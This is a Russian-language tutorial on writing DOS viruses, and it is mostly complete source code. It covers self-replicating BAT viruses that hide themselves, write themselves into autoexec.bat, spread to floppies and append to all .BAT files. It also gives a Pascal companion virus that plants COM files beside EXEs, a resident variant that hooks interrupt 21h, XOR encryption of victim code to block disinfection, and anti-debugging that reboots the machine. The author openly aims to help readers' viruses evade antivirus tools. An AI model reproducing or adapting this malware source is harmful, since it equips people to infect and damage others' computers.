Сегодня я еще раз хочу затронуть тему простых вирусов. Речь не пойдет о замещающих вирусах, а поговорим об компаньон-вирусах, спутниках и про BAT-вирусы

BAT-вирус

@Echo off
copy %0 c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat

Этот вирус заражает винчестер, оставляя только один файл virus.bat. Но все-таки я бы не сказал что это полноценный вирус, т.к. он лишен возможности заражать другие компьютеры. Чтобы этот BAT-вирус обрел более четкие очертания дополним его возможностью заражать другие ПК:

@Echo off
copy %0 c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
copy %0 a:run.bat >nul

В этом примере появляется строка, которая дает возможность вирусу заражать дискеты. Смысл этого в том что если при перезагрузке ПК в дисководе будет дискета, то она будет заражена.

Конечно файл virus.bat в корневом диске C: будет сильно мозолить глаза юзеру, чтобы этого не было существует программа attrib. Преобразуем вирус:

@Echo off
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
copy %0 a:run.bat >nul

Если вы внимательны, то вы уже поняли, что вызов файла virus.bat в autoexec.bat будет записываться каждый раз при перезагрузке ПК. Чтобы этого не произошло есть простой способ: после записи вызова надо с помощью программы attrib установить атрибут только чтение у autoexec.bat. А есть другой вариант, он немного посложнее, но гораздо грамотнее:

@Echo off
if exist c:virus.bat goto cool
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
:cool
copy %0 a:run.bat >nul

Здесь вторая строка проверяет существует ли уже файл c:virus.bat и если он уже существует, то происходит переход к метке cool. Этот способ тоже очень прост. Явный недостаток - если юзер уберет вызов из autoexec.bat, а файл virus.bat оставит, то глупый вирус будет нагло обманут. Чтобы вирус был умнее, то надо использовать программу find, если вам будет не лень с ней разбираться, то вы сможете написать более сложный BAT-вирус, который будет заражать не один файл c:autoexec.bat, а все *.BAT. Пример:

@echo off%[MeTrA]%
if '%1=='In_ goto MeTrAin
if exist c:MeTrA.bat goto MeTrAru
if not exist %0 goto MeTrAen
find "MeTrA"<%0>c:MeTrA.bat
attrib +h c:MeTrA.bat
:MeTrAru
for %%t in (*.bat) do call c:MeTrA In_ %%t
goto MeTrAen
:MeTrAin
find "MeTrA"<%2>nul
if not errorlevel 1 goto MeTrAen
type c:MeTrA.bat>>%2
:MeTrAen

Смысл заражения таков: в вирусе каждая строчка имеет метку, в данном примере она MeTrA. Например, в первой строке эта метка ничего не делает, во второй строке эта метка, как бы, не является пассивной, она используется для внутренней работы вируса, а именно участвует в названии метки. При запуске вирус проверяет, есть ли файл C:METRA.BAT, если нет, то вирус создает его и с помощью программы find копирует из файла (из которого стартовал) все строки содержащие метку вируса, т.е. копирует только вирусные строки. Так, вирусные строки скопированы. Значит в файле C:METRA.BAT теперь находится копия вируса. Далее вирус ищет BAT-файлы. Чтобы не происходило повторного заражения используется все таже программа find. Допустим вирус нашел файл RUN.BAT и он оказался еще не заражен, тогда вирус вызывает файл C:METRA.BAT с такими параметрами: In_ RUN.BAT, здесь первый параметр In_ говорит вирусу, что надо заразить файл, имя которого указано во-втором параметре, в данном случае он RUN.BAT. Вирус в C:METRA.BAT заражает файл RUN.BAT простейшим способом - с помощью команды type дописывает к файлу RUN.BAT себя. Вот так файл RUN.BAT оказывается зараженным.

Компаньон-вирус

Эти вирусы не изменяют программы. Они создают для EXE-файлов COM-файлы. При запуске программы сначала запустится COM-файл с вирусом, который заразив другие файлы запустит EXE-файл. Рассмотрим пример:

{$M 2048,0,4096}
{$i-}
Program Metra;
uses dos;
var
DirInfo : SearchRec;
F1,f2 : File;
Buf : Array[0..5000] of Byte; { размер вируса }
NumRead : Word;
NumWritten : Word;
FT:text;
P: PathStr;
D: DirStr;
N: NameStr;
E: ExtStr;
namecom:string;
Label InfOk;
Begin
{ считать свое тело в буфер }
Assign(F2,ParamStr(0));
Reset(F2,1);
if ioresult<>0 then
begin
writeln('Файл ',paramstr(0),' не доступен!');
halt;
end;
BlockRead(F2,buf,SizeOf(buf),NumRead);
Close(F2);
{ искать жертву }
FindFirst('*.EXE',Archive,DirInfo);
While DosError = 0 Do
Begin
FSplit(dirinfo.name, D, N, E);
namecom:=n+'.com';
{ проверить существует ли файл }
Assign(ft,namecom);
reset(ft);
if ioresult=0 then { если уже существует }
begin
close(ft);
goto infOk;
end;
{ создать COM-файл с вирусом }
Assign(F1,namecom);
rewrite(f1);
if ioresult<>0 then goto InfOk; {если ошибка, то пропустить}
Reset(F1,1);
BlockWrite(F1,buf,NumRead,NumWritten);
Close(F1);
infOk:
FindNext(DirInfo);
End;
{ запустим своего носителя }
FSplit(paramstr(0), D, N, E);
swapvectors;
exec(d+n+'.EXE',paramstr(1));
swapvectors;
{ если вызвали с таким параметром, то надо представитьcя }
if paramstr(1)='/??' then
begin
writeln('Virus MeTrA.');
writeln('^^^^^^^^^^^^');
end;
halt(dosexitcode); { выйти и сохранить код ошибки }
End.

Вирус будет лучше если его упаковать чем-нибудь вроде PKLITE с параметром -e. Вверху есть массив - размер вируса, смотрите, чтобы значение его было не меньше EXE-файла с вирусом, а желательно чтобы и больше не было.

Вирус-спутник

Принцип заражения:

• найти EXE-файл
• найти OVR-файл с тем же именем
• если его нет, то переименовать найденный EXE-файл в OVR-файл, записаться вместо EXE-файла.

Резидентные вирусы

Из справки Паскаля:

{$M $800,0,0 } { 2K stack, no heap }
{ This program causes a click each time a key is pressed.}
uses Crt, Dos;
var
KbdIntVec : Procedure;
{$F+}
procedure Keyclick; interrupt;
begin
if Port[$60] < $80 then
{ Only click when key is pressed }
begin
Sound(5000);
Delay(1);
Nosound;
end;
inline ($9C); { PUSHF -- Push flags }
{ Call old ISR using saved vector }
KbdIntVec;
end;
{$F-}
begin
{ Insert ISR into keyboard chain }
GetIntVec($9,@@KbdIntVec);
SetIntVec($9,Addr(Keyclick));
Keep(0); { Terminate, stay resident }
end.

Теперь уберем все ошибки из этого примера и переделаем под вирус:

{$F+}
procedure Keyclick; interrupt;
begin
InfExe; { вызов процедуры заражения }
inline ($9C); { PUSHF -- Push flags }
{ Call old ISR using saved vector }
KbdIntVec;
end;
{$F-}

Здесь процедура InfExe является обычной процедурой нерезидентного вируса (заражает в текущем каталоге). А вот эти строки впишем в то место вируса, где как бы его конец.

{ Insert ISR into keyboard chain }
GetIntVec($21,@KbdIntVec);
SetIntVec($21,@Keyclick);
Keep(0); { Terminate, stay resident }

К сожалению в справке не сказано как избегать повторной установки в память, поэтому я советую чтобы вирус копировал свое тело в какой-нибудь файл на диске C:, вставлял его вызов в config.sys. Пример: install=c:vir.exe /123, здесь /123 - это такой параметр, он говорит вирусу, что тот стартовал для заражения памяти, т.е. ему не надо запускать своего носителя, а надо выполнить эти три строчки.

Можно помудрить и с другими прерываниями, но вынужден вас расстроить, вирусы такого типа, как правило, очень глючные и работают, в основном, только в многозначной среде (в эмуляции DOS виснут).

Усложнение лечения

Если у вас нет желания чтобы ваш вирус, доставшись какому-нибудь ламеру, стал жертвой его антивируса, то следует подумать об усложнении лечения.

Вирус на Паскале, как правило, заражает программы в начало, перенося старое содержимое в конец. Такими вирусами антивирусные базы пополняются автоматом (без вмешательства человека). Оно и понятно, переписать конец в начало и обрезать длину - это очень простая операция. Смысл усложнения лечения заключатся в шифровке куска своей жертвы. Т.к. кусок жертвы при переносе к конец файла находится в массиве, тогда поступаем примерно так:

for i:=1 to 777 do
begin
cc:=a1[i];
i2:=ord(cc) xor 343;
a1[i]:=chr(i2);
end;

Здесь a1 - это массив, в котором сохраняется начало жертвы; i,i2 - integer; cc - char.

В результате данной операции шифруется кусок файла-жертвы (777 байт). Т.к. операция шифровки осуществляется с помощью XOR - для расшифровки используется та же операция. Значит эту маленькую подпрограмму надо оформить в виде процедуры, которую следует прописать в процедуре заражения и в процедуре запуска своего носителя (перед запуском и после запуска). Если вы не разбираетесь в XOR, то скажу, в моем примере шифровка осуществляется с помощью ключа 343, он может быть от 1 до 65000. Можно сделать так, чтобы этот ключ менялся при заражении каждого файла, например, сделать чтобы ключ зависел от размера своего носителя или можно генерировать ключ случайным образом и помещать его где-нибудь в теле вируса или считывать несколько байт кода жертвы, получать их ord-значения и использовать как ключ. И еще, в моем примере шифровка идет от начала файла, а можно сделать определенное смещение, которое тоже чтобы зависело от чего-нибудь. Размер шифровки у меня 777, а можно сделать ее тоже случайной и т.д. Можно также защитить вирус от ламерской трассировки:

uses dos;
var
O1H , O3H , Br : Pointer;
{$F+}
procedure ReBoot; Interrupt;
begin { а это для того, чтобы нехорошие дяди не запускали Debug }
InLine($EA/
$00/
$00/
$FF/
$FF);
end;
{$F-}
{$F+}
procedure BreakOff; Interrupt; { + }
begin
{ Invisible Magic Words! }
end;
{$F-}
begin {main}
GetIntVec($01 , O1H); { подготавливаем систему }
SetIntVec($01 , @ReBoot);
GetIntVec($03 , O3H); { вешаем антитрассировщик }
SetIntVec($03 , @ReBoot);
GetIntVec($1B , Br); { заменяем вектор ^C }
SetIntVec($1B , @BreakOff);
SetCBreak(False); { и отключаем ^C }
writeln('hello');
SetIntVec($01 , O1H); { восстанавливаем захваченные векторы }
SetIntVec($03 , O3H);
SetIntVec($1B , Br);
end.

Здесь вместо фразы Hello следует вставить процедуры вируса, процедуру запуска носителя следует вставлять после строк восстановления векторов.